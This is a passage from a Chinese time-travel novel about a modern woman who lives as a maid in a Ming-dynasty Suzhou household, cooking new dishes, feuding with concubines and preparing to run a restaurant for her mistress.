众婆子听了笑,有人问可要帮什么忙,宋瑾不客气地请她剁些蒜末,用水泡着。
那婆子转头就去剁蒜末了,有人好奇地问:“这蒜末为何要泡水呀?”
宋瑾微笑着解释:“蒜味重,容易抢菜的风头,泡一泡可以去蒜的呛感,吃起来更好入口些。”
众婆子哦哦地应着。
宋瑾手上不停,一连煎了六个荷包蛋出来,放在碟中晾着。
这边荷包蛋煎好,那边蒜末也泡好了。
宋瑾用纱布滤了水,锅中重新加油烧热,大半蒜末倒进油锅中,大铁勺不断在锅中翻搅,蒜香气瞬间溢满整个厨房。
众人看着也觉得奇怪,她们也试过油锅加蒜,可是蒜末很快就成了焦黑一片,宋瑾这个却只是白中带着金黄之色。
正疑惑间,宋瑾已经用铁勺舀了一勺清水下去,接着便是酱油和醋。
“这酱油呀,是用来调色的,可以让鸡蛋的颜色看起来更好,醋是用来入味的。”
有婆子问道:“你这新鲜吃法哪里学来的?”
宋瑾笑而不语,有人已经明白过来了:“不都说了嘛,洞中神仙教的,那能差了?神仙都吃的指定好吃。”
锅中调料放好,宋瑾将六个荷包蛋滑入锅中,并不断地用勺子将锅底汤汁浇在鸡蛋上,要的就是处处都要沾上,处处都要入味。
等到锅中的醋香之气溢开,宋瑾加了两勺糖进去,又从桌上抓了一小把现成的洋葱丝,接着问众人:“可有用于上浆的粉?”
“有有有,团粉有的。”
说话间已经有人帮着用水化了一些团粉水,宋瑾接过浇在锅中,最后撒上葱花和白熟芝麻,一碗醋香四溢的糖醋荷包蛋就出锅了。
“这做法新鲜哎,用醋煮鸡蛋。”
“闻着香,酸里带着甜。”
“不然怎么叫糖醋荷包蛋,又酸又甜就对了。”
“大奶奶能喜欢嘛?”
“端过去就知道了,猜她干什么?”
......
众婆子端着那碗糖醋荷包蛋七嘴八舌地说着,李婆婆凑近宋瑾身边说道:“这一碗就你送去好了,要是奶奶爱吃的话,往后咱们也会做了。”
宋瑾笑笑,道了声好。
李婆婆又道:“往后可还有什么菜?到时候也教教我老婆子。”
宋瑾还是笑笑说好。
菜谱而已,宋瑾多的是,才不在乎教她们几道菜,搞好关系才重要。
晚饭时辰已到,各院有丫鬟过来催菜,一下也被那道香味特殊的荷包蛋所吸引。
“这是什么菜式?新学的?”
有婆子殷勤答道:“是蔓草做的,中午还做了一道清蒸鱼,大奶奶可喜欢吃了。”
院中丫鬟淡淡笑着,没再说话,催完菜各自回了院中,宋瑾则端着那碗糖醋荷包蛋跟着送菜的众人去了紫竹苑。
文雅坐在桌边,细细品尝着那碗糖醋荷包蛋,眉头先是一皱,细细嚼过之后又舒展开,结果直至吃完这顿饭也不曾说任何话。
宋瑾就这么垂手立在一边静静等着,一直等到文雅放下筷子。
“除了这些,可还会些旁的?”
宋瑾道:“奴婢也会一些的,譬如午间的清蒸鱼,也可用此法烹制排骨。排骨除了清蒸,也可用糯米蒸,或用豆豉,风味各不相同。”
“豆豉?那是何物?”
宋瑾听了一愣,豆豉不是早有了么?怎么会不知道?
“一味调料罢了。”
宋瑾打了个幌子,好在文雅本就对厨房东西所知甚少,因此也不太在意。
“也好,既然会这些,那你就叫婆子们明日早些出门采买些排骨回来,就做......”
文雅沉思了会子道:“就做你说的糯米排骨吧。”
宋瑾恭敬答是,文雅却又问:“你今日这样早回来,我那侄儿呢?”
宋瑾老实回答:“因为要买些不一样的药材,文公子说他甚是熟悉,一人便可办妥,因此叫奴婢先回来了。”
文雅闻言,正在端茶的手顿了顿,意味不明地嗯了声,接着又道:“这酒楼要是开起来了,你得全程盯住了。你是识字的,账簿可会看?”
宋瑾道:“想必学上两日也就懂了。”
文雅嗯了一声:“也好,你聪明,定能学会,到时候外头的账你得全程跟着,入库的银子你得亲自过目,可明白?”
宋瑾答:“奴婢明白。”
文雅这样防着文新是宋瑾没有想到的,但是这样更好,她就有更多的机会接触账簿和银子了,摆脱奴籍指日可待。
宋瑾的心就像外间院子里的春花,悄然绽开,喜不自胜,却依旧压着兴奋,小碎步退出了主屋,压着步伐走进了自己的那间小屋。
等确定不会有外人看见了,才放开手脚在屋子里狂欢起来。
她要出去了。
她要
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经营酒楼了。
她要管理账簿收支银两了。
自由的明天要来了。
宋瑾把整个脑袋埋进被子里,双手抱紧了被子放声大笑起来,哪知道没高兴一会子,外头就有人进来了。
来人是莲心,说是春云在外头找她,梅林院又去厨房闹了。
宋瑾一听梅林院,喜悦之情一扫而空,板着脸随莲心出了房门。
人一出院门就看见春云在那里一脸焦急:“姐姐,三娘四娘都去了厨房,我瞧着像是对晚间的饭菜不满。”
宋瑾一听,这不是对饭菜不满,是对她不满,饭菜不过是借口罢了,只是这额三娘四娘凑一起倒是令她没想有想到。
没想到便不想了,宋瑾抬脚径直往厨房走去。
此时外头天已黑透,宋瑾料到二人是吃饱了饭才过来找事的,定不会轻易罢休,那她也就不必退让了。
厨房里头异常热闹,隔得远远的,宋瑾就听见四娘叶问芙那熟悉的腔调。
“哟,这往日什么鲍参翅肚我们吃不着也就罢了,如今连这鸡蛋也成稀罕物啦?凭什么不给我们做?我今天就是要吃上这口鸡蛋。”
“四娘,不是老婆子不给做,是那鸡蛋今天也只是试试手,还不知道口味呢。”李婆婆轻声解释着。
“试试?那怎么不端去我们院中叫我们也试试啊?只叫大奶奶试试,万一吃不好了你们怎么交代?”
几个老婆子说不过叶问芙,一个个哑口无言,面色尴尬地站在那里。
正在手足无措之际,宋瑾抬脚走进了厨房,众人皆用求助的目光看过去。
三娘四娘都察觉出来,扭头看向门口的位置。
“哟,咱们厨房里的大官来啦。”论起阴阳怪气,三娘徐翠云不差四娘叶问芙半分。
宋瑾没吭声,只乖乖行礼道万福。
“你如今真是攀上高枝了,连这厨房的婆子都认你做主了,从前倒没发觉你有这等好手段。”
宋瑾不紧不慢道:“并非各位婆婆听从我的,只是大奶奶吩咐,叫我给她做两道菜,我便做了。”
“好啊,”叶问芙扭过身子来道:“现在我也想吃你做的菜,从明天起你也给我做。”
宋瑾道:“做不了。”
叶问芙脸色骤然变色:“做不了?大奶奶叫你做什么你就做什么,我现在叫你给我做道菜你就说做不了?你别忘了从前你在我屋可是刷马桶的。”
宋瑾道:“是,从前刷马桶,如今住单屋。人往高处走,水往低处流,四娘说是不是?”
被宋瑾在众人面前直接拒绝就够丢脸了,如今还要说叶问芙那里是低处。
“呵,有人给你撑腰了,今非昔比了呀。”叶问芙被宋瑾理直气壮的态度气的不知道该怎么骂回去了,最重要的是她自己没人撑腰了。
“谁说不是呢,紫竹苑那位才是主母,咱们这种算什么?高兴了给你个笑脸,不高兴了丢在一边不管不顾,要嫁个人还得人家点头呢。这奴才够着了高枝,都敢给咱们脸色了。”
徐翠云在一边煽风点火,听得宋瑾怒火中烧。
“三娘说的对,这贱籍运气好起来,也是能够上高枝的,没准哪天就一跃成了主子了。”
一句话说的徐翠云恨不得当场给她一个耳光,只因为她是乐籍出身。
13. 坦白
徐翠云是乐籍出身,嫁进来前才脱的籍,也是做歌伎的时候认识的柏笑南,这才得了机会嫁进门来。
真论起来,两个人的出身都是不相上下,只是徐翠云看起来华丽些,毕竟要给贵人弹唱。样貌举止,衣衫妆容,出入场合,样样都比蔓草那种奴婢要来的光鲜亮丽些。
她同宋瑾并无仇怨,只是隐隐知道搬到梅林院同住与她有关,再加上想看叶问芙的好戏,这才来凑了这个热闹,哪晓得一开口就被宋瑾给呛了,当下火气就上来了。
徐翠云和叶问芙仗着是主子要发火,宋瑾是知道文雅巴不得她们不安生,自己把她们揍了也不会真的生气,只是面上总要安抚两人,否则传出去了,说柏家家奴欺主,她这个主母还怎么管教下人。
因此宋瑾看着徐翠云和叶问芙冲着她来了,灵光一闪,扭头就跑了,留下一厨房的人愣在那里。
主子要打人,奴婢她跑了。
“来人,给我拦住她!”
徐翠云一声吼,宋瑾跑的更快了,众人看着那个身影穿过茶厅,钻进了侧面的八角门到了抄手游廊里。
叶问芙和徐翠云带着丫鬟们在后头追,一边追还一边招呼长班刘管事,叫他带着家丁堵人。
宋瑾早就料到这一手,因此也不往别处跑,径直往后院的梅林院去了,两个姨娘追着追着追到了家门口,而这里家丁们又不好进来,于是只剩下几个丫鬟和厨房几个好事的婆子们跟了过来。
叶问芙一口一个小娼妇,徐翠云一口一个小贱蹄子,宋瑾懒的理,跑到了梅林院门口就停了下来。
“二位姨娘到院了,早些歇着吧,明儿中午李婆婆自会给你们做鸡蛋吃的。”
叶问芙和徐翠云常年不劳动,此刻跑了一阵,上气不接下气的,骂也骂不动了,追也追不上,家丁也不进来,一时无法。原地喘了几口气后撂了几句狠话,这才扶着丫鬟进了院子。
宋瑾有些得意起来,果然背靠大树好乘凉。
这院里不受宠的主子比受宠的奴才还窝囊,因为在众人眼中,主欺奴是理所当然,而奴欺主便是奇耻大辱,叶问芙和徐翠云今日便受了辱。
可同时众人也都觉得,宋瑾敢这么张狂,必定是大奶奶在背后撑腰,越发想巴结了。
于是宋瑾绕弯子出了后院,迎面就遇上了几个厨房的婆子们。
“蔓草,可跑累了?”
“刚刚幸亏你来了,不然还不知道要在厨房闹到什么时候呢。”
“就是就是,咱们给大奶奶做菜,碍着她们什么事了,又没饿着她们,偏要闹起来。”
“耍威风耍习惯了,还以为老爷能帮她们撑腰呢,你看二娘多实在。”
“就是就是......”
......
宋瑾站在人群中,微笑着听众人对几位姨娘评头论足一番后,这才道出了自己的要求。
“李婆婆,明儿谁去采买蔬菜,大奶奶想吃嫩排骨,点名叫我明儿中午给她做,排骨要新鲜的。”
李婆婆听文雅又要吃宋瑾做的菜,她也能跟着偷师,高兴的不得了,忙道:“没问题没问题,我明儿早上亲自去买,这里的屠夫我都熟着呢。”
宋瑾笑着谢过李婆婆,这才别了众人,独自往紫竹苑去了。
天已黑透,柏家宅院里亮起盏盏灯笼,昏黄的烛光照耀着园林式建筑,对于在白炽灯下待久了的宋瑾而言,这里天然带着一丝森然之气。
宋瑾加快脚步往紫竹苑去,然而在穿过廊下的时候忽听有人喊她,惊得她一跳。
循着声音回头去寻找那人时,昏黄烛光下一张充满哀怨的脸出现在视野里,宋瑾觉得自己的心差点儿从胸腔里蹦出来。
“蔓草......”
昏暗中,陈婆子幽幽出声。
“娘?你怎么在这里,吓我一跳。”
“蔓草......”陈婆子动了动倚在廊柱上的身子,晃晃悠悠地朝宋瑾走来,口中喃喃念着:“蔓草......”
“娘,我在这呢。”对着陈婆子那张脸,莫名地,宋瑾心慌起来。
“蔓草......”昏黄的眼睛里忽然滚下两滴浑浊的泪来,陈婆子颤抖着双唇发问:“我的蔓草呢?”
宋瑾僵在原地,她万万没想到,这个跟自己没说几句话的娘会忽然问起这个问题。
宋瑾自身亲情缘分浅,跟父母亲戚都不亲,来到这个世界后面对根本不熟悉的蔓草爹娘更是谈不上什么亲切,可是那两个人却是把她当女儿对待的。
她光顾着表现,时时刻刻为将来能脱籍做准备,根本顾不上去维系这段亲情缘分。然而这个爹娘却还是那个爹娘,在他们眼中,自己的女儿变了样。
只是她不明白,为何陈婆子会问出这样的话来。
“娘,我就是蔓草啊。”
“你不是。”陈婆子斩钉截铁,容不得宋瑾狡辩:“你不是我的女儿,她不是这样的。她去哪里了?你告诉我她去哪里了?”
陈婆子越说越急,整个人都向宋瑾扑过来,粗糙的双手揪住她的衣领,声声质问。
“她去哪里了?你说呀!”
声音渐渐嘶哑,宋瑾却无法道出实情,只得伸手抱住那个几乎站不稳的身子。
“她很好。”
陈婆子的身子陡然僵住,一双眼睛睁的老大,死死盯住宋瑾那张脸,那张跟蔓草一模一样的脸。
“你真......真不是她?”
宋瑾露出一丝苦笑:“梦里的时候,她见到了神仙,神仙说她悟性好,若是留在洞中修行,定能成仙。”
陈婆子身子没动,反应半晌才终于听明白宋瑾话里的意思。
“她不要我这个娘了么?她怎么能不要我这个娘,一句话都不留就自己走了啊?”
陈婆子嚎啕大哭起来,松开的手拼命捶打着宋瑾的身子,人也往地上滑去。
宋瑾紧紧抱住那个比自己还要矮上半颗头的弱小身子:“她不肯的,说是爹娘尚在人间,她还没有孝顺够,所以神仙派我来替她了。”
陈婆子听不进去,一张脸埋进宋瑾胸口,哭声不止,很快
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便引来了好些人。
“怎么回事呀?怎么在这里哭将起来了?”
宋瑾拍了拍陈婆子的背,不知道该怎么解释,只得尴尬地笑笑。
陈婆子哭了半晌,这才把脑袋从宋瑾的怀里抬起来,她盯紧宋瑾那张脸,眼泪再一次落下来。
面对众人疑问,她一声不吭,转头走掉了。
宋瑾看着陈婆子的背影自昏暗的光线中消失,心也跟着揪紧了。
人生悲剧之一莫过于白发人送黑发人,宋瑾想装成蔓草也瞒不过有些人的眼睛,就算瞒住了眼睛,也蒙不住心。
面对陈婆子那笃定的眼神,激烈的质问,她忽然不敢撒谎。
陈婆子问了宋瑾,得了答案,却一声不吭,自此不跟任何人提起当晚一事,却仍然做着宋瑾的娘。倒是宋瑾,自那之后有些心虚拘谨了起来。
第二天一早,宋瑾起了个大早,洗漱完毕后一刻也不耽搁,径直去了厨房里。
李婆婆去找屠夫买新鲜小排骨,宋瑾则先去厨房问其他婆子要了开水,用来提前浸泡洗净的糯米。
做完这些她也不走,就站在厨房里到处看看,大明的佐料跟现代还是有些区别的,她倒是想看看这里的豆豉长什么样。
黑乎乎的小豆子倒不难找,很快她就在厨房找了,于是拈起一颗豆子问众人:“这是什么?”
“这个?这是幽菽啊,做菜用的。”
原来叫幽菽,昨天宋瑾把名字叫错了,怪不得文雅愣住了。
想到这里,宋瑾笑了笑,将那粒豆豉扔回了瓮里,转头便撞进了陈婆子的眼睛里。
那双眼睛不似昨晚的绝望,脸上也恢复了平静,此刻二人对望,眼睛里不免泛出光来,又怕众人瞧见,忙转过头往灶下去了。
宋瑾站在原地有些尴尬,双手揪着衣摆,不知道该进还是该退。思量半晌,还是凑到了灶下,挤在陈婆子身边。
“四月了,天不凉了,别挤在灶下,新衣服弄脏了就不好了。”
宋瑾笑笑:“不怕的,我洗的干净。”
陈婆子带着玩笑的口气道:“神仙也洗衣服啊?”
宋瑾察觉到陈婆子的视线落在自己脸上,她没敢对视,只看着灶膛里的火答道:“神仙跟人也差不多的。”
陈婆子依旧盯着那张脸,心里只觉得像做梦一样,又荒谬又真实。
宋瑾在厨房待了没多大会子就遇见了从外头买菜回来的李婆婆,果然有几节小排骨在里头。
“今儿我幸亏去的早,这排骨呀抢手的很,昨儿陈大官人家就定了好些,说是今日要摆宴席,定了好几个屠户呢。要不是我跟李屠户熟悉,都不一定买的到呢。往后要再买呀,我一定提前就去定。”
宋瑾抓着那排骨笑笑,做一份有些多了,但是能给大奶奶凑齐一屉就够了。
“蔓草,今儿这排骨怎么做呀?”
宋瑾笑笑道:“蒸,切成小段子,裹了糯米蒸,这碗菜可得提前上灶,要蒸许久的。”
“好好好,都听你的,我们现在就开始准备。”
14. 糯米蒸排骨
用来蒸的排骨不能通过水煮的法子去血水,因此宋瑾取了一只大碗用来泡排骨。
排骨让厨房的婆子帮忙剁成小段,全部浸没水中。
宋瑾一边做着,一边教着:“这排骨用水泡出血水来,等会子蒸出来会好看些。”
李婆婆道:“我们往日都是冷水煮着去血水,浮末一撇,干干净净的,熬出来的汤也清透。”
宋瑾笑笑:“这水一煮,排骨的味道就淡了,再蒸就没有那么鲜了,所以就不能水煮。”
其实宋瑾也不大懂其中的逻辑,反正她就是这么学的,那就这么做着呗。
“这个排骨呢大约要泡上小半个时辰,等浸泡的水都变红了就差不多了。”
做完这些,宋瑾没有继续留在厨房里,而是出去院子里逛了逛,临出门前叮嘱婆子们帮着把糯米换热水。
几个婆子见她做菜手艺没有丝毫要保留的意思,因此也都愿意帮她。
宋瑾出了厨房,往后头花园里头去。
蔓草的爹是园公,种花种草最是在行,她今天就要去花园里头逛一逛。
柏家甚大,以三个厅作为中轴线,两边各有一个湖,作为后院的一部分,外头的家丁们极少进来,倒是宋瑾这种女婢可以在里头乱窜。
宋瑾穿过游廊,走进一条石径,前方芭蕉青绿,假山还真。顺着小径穿过假山,又见花发柳垂,春风推波,一座九曲石桥连着湖中假山。湖上荷叶舒展,湖边柳丝摇曳,宋瑾不禁感叹,住在豪宅里的除了主人,还有奴才。
凭什么自己两世都是那个奴才?
一想到这里宋瑾就气,抬脚踢飞一颗碎石,那碎石随着噗通一声落入水中,湖面泛起圈圈涟漪。
正在生闷气之际,东南角的一间房子落入宋瑾眼中,那是柏家用来培育花草的地方,是她爹老陆时常出没的位置。
“培育花草?”宋瑾嘀咕了两句,同时开动脑筋,如果她没记错的话,辣椒和西红柿刚刚进入中国的时候,都是作为观赏性植物存在的,没准这豪门大户的柏家就有了。
打着找菜的主意,宋瑾拔腿就往那间小屋去了,恰逢他爹老陆正在里头忙活,她便打了个招呼。
“爹。”
相比陈婆子的细腻,老陆虽觉得女儿有变化,却怎么也想不到里头换了人住了。因此并没有什么太大的反应,倒是对自己的娘子昨夜哭着回来感到纳闷,可是怎么问她也不肯说。此刻见着宋瑾来了,免不得抱怨两声。
“你怎么有空来了?”
宋瑾笑笑:“我在厨房帮大奶奶准备午饭,得了空就出来逛逛。”
老陆听了高兴,做奴婢做到这份上也是得脸了。
“你要是有空就多陪陪你娘,她昨儿不知道怎么回事,回来就哭,一直哭,怎的都劝不好,问也不肯说。唉......”
老陆面带愁容,宋瑾听了这个话,脸上笑意保持不住,也沉下脸来,不知道该怎么去圆这个谎,想了半晌才道:
“那我等会子见了娘,一定好好安慰她。”
“唉,这样才好,她总是听你的,你说什么她都听。”
宋瑾鼻头一酸,扭过头去不敢看老陆。谁知这一扭头,便看见了一朵朵小白花。
那是辣椒。
这可真是踏破铁鞋无觅处,得来全不费功夫啊。宋瑾还以为要找蔓草的爹去四处打听打听可有新鲜的花卉,哪晓得辣椒就在自己开着花呢。
“爹,你种了多少这个?”宋瑾指着辣椒问。
老陆顺着女儿手指看去,答道:“这是这两年传进来的新鲜玩意儿,叫什么番椒。别看开的白色小花,等结出果子来红艳艳的,漂亮的很。大奶奶去年在陈大官人家见着,觉得有趣,便叫家里也种一些。你爹我也是第一回种,就几盆子,怎的?你喜欢?”
宋瑾笑而不答,她喜欢,喜欢死了。
“爹,今年全都留种呗,我觉得明年会需要更多的。”
“哈?大奶奶喜欢?”
宋瑾笑笑:“你只管留种好了,到时候我还得跟你讨些呢。”
“你问这个作甚?”
老陆不解,宋瑾却不想回答,而是反问:“爹,你这里有番椒,那可有番茄?”
老陆抬眼看天,认真思索着何为番茄。
“不曾听过,你要这个?”
宋瑾连连点头:“往后您要是遇上有人来家里推荐什么花卉啦,或者是外头有商人啦,您就帮我问一声,可有一种名叫番茄的东西。”
“成,你要问我便帮你问。”
宋瑾笑笑,没想到这个当园公的爹能帮上自己这么大的忙。她在院子里逛了一圈,结结实实地体会了一把大明时期苏州富商家的大宅子,虽不比前世所见的苏州园林,可也算得上深宅大院,富饶至极。
逛了一大圈子的宋瑾从后院准备去厨房处理她的排骨,结果走至茶厅的时候就见一个身穿粉底道袍,头戴唐巾的男子从里头满面红光地出来。
那人见了男子装扮的宋瑾,也不拘谨,自来熟一般地拱手作揖道:“小生莫鸿福,字青松,不知这位公子尊姓大名?”
宋瑾拱手道:“在下文子晋。”
莫鸿福听罢笑意更甚:“原来是文家公子,失敬失敬。”
宋瑾来到这个世界,日常所接触的不是像她一般的奴婢,便是不精诗书的主母姨娘们,今儿似乎冒出来一个读书人,讲起话来文绉绉的,宋瑾一时竟不知如何回应。
好在那莫鸿福也不甚介意,上下打量了一番宋瑾,自顾自地问道:“公子来此是?”
这话问的宋瑾一愣,本不想说实话,又觉得这个身份早晚要见人的,因此答道:“子晋自乡下来此谋生,姑姑念我暂无居处,留我歇宿几日。”
莫鸿福一听,脸上喜悦之情减淡,再次打量着宋瑾,一身棉衣,确实不够富贵,看样子跟这家的大奶奶关系也不亲近嘛。
“子晋兄既来了苏州,有大奶奶在,何愁不得谋生,我看将来必定大富大贵。”
莫鸿福判定完毕,脸上重新堆起笑脸,亲热地拍了拍宋瑾的肩膀,差点没把宋瑾拍出内伤来。
宋瑾笑笑:“借鸿福兄吉言。”
“嗳,”莫鸿福似乎不大乐意听这个称呼,纠正道:“叫我青松兄就好。往后你我俱在苏州,免不了再见
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,到时候在下一定带子晋兄好好见识见识这苏州的盛景。”
宋瑾笑着谢过,两人这才拱手作别。
宋瑾见那人出了柏家大门,这才长舒一口气。
跟读书人说话真累。
宋瑾与莫鸿福不过区区数语,从开始的文家公子到子晋兄,从拱手到拍肩,这人套近乎倒是有一套。
只是文雅也不甚有文化,怎的突然招来书生?
一个念头钻进宋瑾脑中,若不按宗族顺序立继,就需要见官,而见官免不得写诉状。
讼师,不就是秀才的一条谋生门路么。
眼看着文雅开始拖延时间,宋瑾也不耽搁,径直往厨房的方向去了。
李婆婆十分用心,此刻那泡糯米的水都还是热乎的,手指一掐糯米便从中断裂,已经泡的足够软了。
泡排骨的水也已发红,宋瑾倒去血水,用清水冲洗干净后便准备调料开始腌排骨。
众人看着宋瑾取出各种佐料来,切了大葱段和生姜片添进去后,又加了酱油、白糖、盐。
“厨房可有酒?”宋瑾问道。
“有有有,要什么酒?黄酒还是烧酒?”
宋瑾道:“烧酒吧。”
有婆子递过来一个小坛子,宋瑾用竹筒沽了两勺的量出来,再放团粉和油进去,徒手抓捏起来。
“这油添进去呀,可以帮着把水份锁住,蒸出来更嫩些。这团粉放进去呀,是用来增加粘性的,等会子好粘糯米。”
众婆子口中嗯嗯,纷纷点头。
“等捏匀了以后再等两盏茶的功夫,等他入味了再裹面粉。”
“好嘞好嘞,我们帮你盯着。”
宋瑾笑着谢过了。
做完这些,宋瑾洗了手,也不离开厨房,而是凑到蔓草的娘陈婆子身边待着。
陈婆子静静地干着活,宋瑾想帮忙却被拦住了:“你别忙这些,忙些你自己的事吧。”
宋瑾有意套近乎:“娘,帮你不也是事嘛。”
陈婆子手上不停,嘴角带着一丝似有似无的笑意:“当娘的人了,女儿好了,娘便好了。”
宋瑾手上一僵,鼻头发酸。
对于这样一个封建社会里没有接受过教育的老婆婆来说,与其接受女儿死了,不如接受女儿真的成仙了。
她依旧视宋瑾如女儿,只是多了几分客气。
想到此处,宋瑾也不再去管陈婆子的话,只是抓起桌上的菜帮着切了起来。
陈婆子见状,瞧了眼宋瑾,沉默之后接着干活。
眼看着巳时正刻已过,宋瑾开始处理起排骨来。
糯米水倒去,倒入一些酱油搅拌均匀,既调味也调色。取出蒸包子用的小蒸屉,底部铺上湿纱布,排骨重新抓捏两把,便放进糯米里滚上两圈,直滚得排骨上都沾满了糯米才摆进蒸屉里。
一圈排骨摆下去,摆的满满当当后还多出一些排骨来,宋瑾想了想,又取了蒸屉,摆了两小圈的排骨,剩下的糯米塞进缝隙里。
两个蒸屉叠在一起,加了盖子,上锅蒸足一个时辰。
婆子们的问题来了,三份排骨如何送四个屋里。
15. 酒楼
面对三份排骨,众婆子犯起难来。大的自然是给大奶奶的,这小的......给谁又不给谁呢?
“就先给二娘三娘吧,四娘那头别忘了给做一份糖醋荷包蛋。”
宋瑾就是找茬,谁叫三娘四娘昨天合起伙来到厨房找她麻烦,她就不信挑不起火星子来。
一碗水不端平便是最好的挑拨方式。
人一旦闲了,一根线头都能争起来,更何况是一碟子排骨呢。
众婆子听她这么一说便知道是有意为难,这有人肯站出来担责任,加上昨夜那场闹剧,众人自然也就应了。
不拿别人当人的人,也不会被别人当人看待的。
糯米蒸排骨蒸好的时候,宋瑾撒了些翠绿的葱上去点缀,这才盖了盖子,跟众人一起端进了紫竹院。
排骨软烂,筷子一夹便脱了骨。糯米入味,尤其底层吸了排骨汤汁,更显鲜香。
文雅边吃边点头,微笑道:“这个排骨比昨儿的鸡蛋更好,若是能多来几样这样的,必定能撑起一间酒楼。”
宋瑾听了嘴角含笑,松了一口气,心中已在盘算晚上要做的菜了。
然而菜式未定,外头吵闹声起,徐翠云和叶问芙气势冲冲地进了屋。
“大姐,”徐翠云行了礼率先开口:“您给我评评理,这好端端的午饭,还没上桌就叫人砸了。”
叶问芙则是一扫眼,看见了桌上满满一蒸屉的糯米蒸排骨,比她们两人的那小碟子的多出不知道多少来。
“大姐,”叶问芙颇为悲愤:“四妹自知进门晚,可是咱们家向来一碗水端平,就算跟您不能比,那二姐三姐凭什么要多出那一碟子排骨来?知道的说这厨房里的下人看人下菜碟,不知道的还说您一碗水不端平呢。”
文雅一听便知道是宋瑾搞鬼,眼神一瞥,问道:“此事你可知晓?”
宋瑾乖乖答:“奴婢知道此事。因着早间李婆婆去屠户家买排骨,数量不大够,便先紧着大奶奶,余下的分了二娘和三娘,至于四娘便多送了一份昨儿做过的糖醋荷包蛋。”
“分配不均,你的错,这么点小事都办不好。”文雅嘴上骂着,脸上却一点儿也不恼。
“奴婢知错了。”
徐翠云和叶问芙见文雅指责宋瑾,一时也没说话,等着文雅给个说法。
文雅自然知道这些,放下手中筷子缓缓道:“东西不够是厨房办事不利,你这些天在厨房忙活,也是不太中用,往后还是出去吧。”
宋瑾听了这话,乖乖答是。
文雅又道:“饭菜不均是厨房的问题,可是这砸到地上又是怎么回事?”
徐翠云听了,斜了叶问芙一眼,道:“今儿中午,院里的丫头去催菜,结果我跟二姐多出一小碟子的排骨来,就那一小碟子。”
徐翠云边说边比划,气愤不已:“四妹见着了,问起她怎么没有,厨房说是不够了,就给补了一道荷包蛋,她一恼,就把我跟二姐的全掀了。”
叶问芙不服:“凭什么她们是排骨,我就是鸡蛋了?大姐,这厨房也太不把我当人了吧?”
文雅表情淡淡:“厨房做事不得力那是厨房的事情,我自会处理。可是这午饭没吃就先砸到地上,挣钱不见你的本事,浪费你倒是一把好手,我看你就是吃饱了撑了,还敢来我这里要理。”
文雅改了脸色,叫来杜鹃:“四娘屋里是谁在上灶?告诉她们,往后减一道肉菜,看把人撑的。今儿中午的砸了就都别吃了,自己个儿反省去。”
徐翠云听了,心中微微解气,施了礼扭头走了。
倒是叶问芙,眼眶都气红了,明知道是宋瑾在搞鬼,偏偏文雅这个当家主母看她不顺眼,要想在这里讨回公道是不可能的了。
当下礼也不行了,气哼哼地跑出了院子。
文雅见两人离了紫竹院,轻轻一笑,拾起筷子边吃边吩咐:“这做菜的功夫我是见识到了,往后别再去厨房,叫管事的陪你去租间铺子,往后的人手嘛,家中就有现成的。这做菜的手艺......”
宋瑾道:“奴婢都会一一教给厨房的人,定叫大家都学会了才好。”
文雅笑道:“还是你懂事。”
无论如何,宋瑾的目的达到了,出门去,开酒楼,然而意料不到的事情还是来了。
“咱们起先说的是动用这次挪出去的银子开酒楼,不过这两日我仔细思量,觉得不必等到那时,就由你来借吧。”
“借?”宋瑾傻眼。
“对,这放债本就是门生意,挪出去的银子可以接着放,你呢也不必那么麻烦,就从家里借。我让文新与你做保,只算你三成利息,如何?”
要论黑心,跟眼前人比起来,宋瑾还是欠了火候。原先只打算存银子赎籍,现在还得还利银。
宋瑾压着想一巴掌扇出去的冲动,款款道:“全听大奶奶的吩咐。”
宋瑾得了准许后便独自回了屋子,这事越想越窝囊。她想着帮文雅赚钱,文雅想着如何压榨她。
你大爷的。
宋瑾在心中狠狠骂了一声,可是这银子却不得不借,银子得从手里过她才能蹭到油水,所以这个亏她不得不吃。
她这头闲了下来,院子里的丫头们倒是热闹了起来,闲了的都凑进了宋瑾的小屋子里。
“奶奶许你出去开酒楼了?”
“听说要从家里挪奴婢出去,可能把我们也带出去见识见识?”
“你傻呀?出去就是厨房,还不如在这院里呢。”
......
丫鬟们对外头是好奇也恐惧参半,毕竟这里的环境早已熟悉,吃吃喝喝总是不缺的,可是去了酒楼就不知道是什么样子了。
“蔓草姐姐,前几日杜鹃姐姐说你要教我们识字,真的假的?”
宋瑾点点头道:“杜鹃要学,我想大家一起学也好的。”
有人道:“我可懒得学,天天扫地洗衣裳就够累人的了,还学识字,自找苦吃。”
又有人道:“我想学,蔓草姐姐你可会西厢?从前听唱戏的唱西厢,她们玩牌也总提西厢,我也想学西厢。”
宋瑾傻眼,几首诗词她是没问题的,可是西厢......
大明的奶奶姨娘们爱听戏,可她这个二十一世纪的只会周杰伦啊。
宋瑾叹气:“我得先找本西厢。”
“蔓草姐姐,大奶奶为什么同意你出去开酒楼呀?是因为做菜做的好?那为啥不是厨房婆子去开呢?”
莲心问出了众人心中的
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疑问,引来声声赞同。
宋瑾道:“大奶奶不是因为我会做菜才叫我去开酒楼的,大奶奶是觉得我能帮着挣钱。”
“挣钱?挣多少钱呀?”
宋瑾抬头想了想,这笔账她还真是没算过,不过走一步算一步吧,做生意也不是今天投资明天就能赚的呀,而且她的目的是昧钱,而不是赚钱,她可不想在酒楼三五年都攒不上赎籍的银子。
当天下午,宋瑾就拖着家中陈管事一道上街寻找地方看铺子。
论起在大明做生意,陈管事比宋瑾要熟悉的多。
“这酒楼生意不比一般生意,地段最重要。大奶奶说了,银子不必担心,要租就租间大的。可惜时间紧凑了些,不然咱们买下来或许更划算。”
宋瑾面上应和,心中恼怒却不敢言。
陈管事二话不说就把宋瑾带到了苏州府衙附近的一条名叫安居巷的巷子里。
“两层的小楼,地方够大,后头便是一间小院,适合住人,咱们只要稍微收拾收拾便可开业。”
宋瑾站在小楼面前,左右有绸缎铺子和钱铺,苏州府衙便在不远处。若是菜做的好,没准儿能吸引不少官家来此用饭,倒是一个宣传的好手段。
只是......
“陈管事倒是对这里熟悉的很。”
陈管事笑笑:“大奶奶说是打算开酒楼,昨儿就命我出来找找间小楼,恰好我有个同乡就住在这附近,所以知道这里有间小楼可以出租,我就来瞧了眼,刚好合适。”
陈管事笑得和蔼,只有宋瑾觉得自己是傻子。
她想赚钱,哪晓得自己还没开始呢,这群人恐怕都提前赚上了。不知道在这大明做房屋中介能拿多少提成。
“既然陈管事说好,那便是好了。”
宋瑾灰心丧气,都懒得看了,是谁觉得来到这古代,带着现代知识金手指就能大杀四方的?
宋瑾觉得自己蠢死了。
